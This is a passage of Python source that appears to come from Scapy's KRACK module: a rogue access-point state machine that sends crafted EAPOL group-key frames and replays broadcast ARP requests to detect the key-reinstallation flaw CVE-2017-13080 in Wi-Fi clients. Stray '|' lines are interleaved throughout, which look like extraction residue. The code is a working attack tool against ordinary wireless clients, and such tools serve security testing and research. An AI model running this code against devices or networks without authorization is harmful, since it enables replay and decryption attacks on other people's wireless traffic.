eap = self.build_EAPOL_Key_8021X2004(
|
||
|
# Key information 0x1381:
|
||
|
# ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted,
|
||
|
# SMK
|
||
|
key_information=0x1381,
|
||
|
replay_counter=next(self.replay_counter),
|
||
|
nonce=self.anonce,
|
||
|
data=data,
|
||
|
key_mic=self.kck,
|
||
|
key_data_encrypt=self.kek,
|
||
|
)
|
||
|
|
||
|
rep_to_enc /= eap
|
||
|
self.send_wpa_to_client(rep_to_enc)
|
||
|
|
||
|
@ATMT.receive_condition(WAIT_GTK_ACCEPT)
|
||
|
def get_gtk_2(self, pkt):
|
||
|
# Avoid packet from other interfaces
|
||
|
if RadioTap not in pkt:
|
||
|
return
|
||
|
|
||
|
# Skip retries
|
||
|
if pkt[Dot11].FCfield.retry:
|
||
|
return
|
||
|
|
||
|
# Skip unencrypted frames (TKIP rely on encrypted packets)
|
||
|
if not pkt[Dot11].FCfield.protected:
|
||
|
return
|
||
|
|
||
|
# Normal decoding
|
||
|
try:
|
||
|
data = parse_data_pkt(pkt, self.tk)
|
||
|
except ValueError:
|
||
|
return
|
||
|
try:
|
||
|
data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
|
||
|
pkt.addr3)
|
||
|
except (ICVError, MICError):
|
||
|
return
|
||
|
|
||
|
pkt_clear = LLC(data_clear)
|
||
|
if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \
|
||
|
pkt_clear[EAPOL].load[1:3] == b"\x03\x01":
|
||
|
raise self.WAIT_ARP_REPLIES()
|
||
|
|
||
|
@ATMT.action(get_gtk_2)
|
||
|
def send_arp_req(self):
|
||
|
|
||
|
if self.krack_state & 4 == 0:
|
||
|
# Set the address for future uses
|
||
|
self.arp_target_ip = self.dhcp_server.leases.get(self.client,
|
||
|
self.arp_target_ip) # noqa: E501
|
||
|
assert self.arp_target_ip is not None
|
||
|
|
||
|
# Send the first ARP requests, for control test
|
||
|
log_runtime.info("Send ARP who-was from '%s' to '%s'",
|
||
|
self.arp_source_ip,
|
||
|
self.arp_target_ip)
|
||
|
arp_pkt = self.send_wpa_to_group(
|
||
|
LLC() / SNAP() / ARP(op="who-has",
|
||
|
psrc=self.arp_source_ip,
|
||
|
pdst=self.arp_target_ip,
|
||
|
hwsrc=self.mac),
|
||
|
dest='ff:ff:ff:ff:ff:ff',
|
||
|
)
|
||
|
self.arp_sent.append(arp_pkt)
|
||
|
else:
|
||
|
if self.arp_to_send < len(self.arp_sent):
|
||
|
# Re-send the ARP requests already sent
|
||
|
self.send(self.arp_sent[self.arp_to_send])
|
||
|
self.arp_to_send += 1
|
||
|
else:
|
||
|
# Re-send GTK
|
||
|
self.arp_to_send = 0
|
||
|
self.arp_retry += 1
|
||
|
log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d",
|
||
|
self.arp_retry, self.ARP_MAX_RETRY)
|
||
|
if self.arp_retry > self.ARP_MAX_RETRY:
|
||
|
# We retries 100 times to send GTK, then already sent ARPs
|
||
|
log_runtime.warning("Client is likely not vulnerable to "
|
||
|
"CVE-2017-13080")
|
||
|
raise self.EXIT()
|
||
|
|
||
|
raise self.RENEW_GTK()
|
||
|
|
||
|
@ATMT.timeout(WAIT_ARP_REPLIES, 0.5)
|
||
|
def resend_arp_req(self):
|
||
|
self.send_arp_req()
|
||
|
raise self.WAIT_ARP_REPLIES()
|
||
|
|
||
|
@ATMT.receive_condition(WAIT_ARP_REPLIES)
|
||
|
def get_arp(self, pkt):
|
||
|
# Avoid packet from other interfaces
|
||
|
if RadioTap not in pkt:
|
||
|
return
|
||
|
|
||
|
# Skip retries
|
||
|
if pkt[Dot11].FCfield.retry:
|
||
|
return
|
||
|
|
||
|
# Skip unencrypted frames (TKIP rely on encrypted packets)
|
||
|
if not pkt[Dot11].FCfield.protected:
|
||
|
return
|
||
|
|
||
|
# Dot11.type 2: Data
|
||
|
if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
|
||
|
# Do not check pkt.addr3, frame can be broadcast
|
||
|
raise self.WAIT_ARP_REPLIES().action_parameters(pkt)
|
||
|
|
||
|
@ATMT.action(get_arp)
|
||
|
def check_arp_reply(self, pkt):
|
||
|
data = parse_data_pkt(pkt, self.tk)
|
||
|
try:
|
||
|
data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
|
||
|
pkt.addr3)
|
||
|
except (ICVError, MICError):
|
||
|
return
|
||
|
|
||
|
decoded_pkt = LLC(data_clear)
|
||
|
log_runtime.debug(hexdump(decoded_pkt, dump=True))
|
||
|
log_runtime.debug(repr(decoded_pkt))
|
||
|
self.deal_common_pkt(decoded_pkt)
|
||
|
if ARP not in decoded_pkt:
|
||
|
return
|
||
|
|
||
|
# ARP.op 2: is-at
|
||
|
if decoded_pkt[ARP].op == 2 and \
|
||
|
decoded_pkt[ARP].psrc == self.arp_target_ip and \
|
||
|
decoded_pkt[ARP].pdst == self.arp_source_ip:
|
||
|
# Got the expected ARP
|
||
|
if self.krack_state & 4 == 0:
|
||
|
# First time, normal behavior
|
||
|
log_runtime.info("Got ARP reply, this is normal")
|
||
|
self.krack_state |= 4
|
||
|
log_runtime.info("Trying to trigger CVE-2017-13080")
|
||
|
raise self.RENEW_GTK()
|
||
|
else:
|
||
|
# Second time, the packet has been accepted twice!
|
||
|
log_runtime.warning("Broadcast packet accepted twice!! "
|
||
|
"(CVE-2017-13080)")
|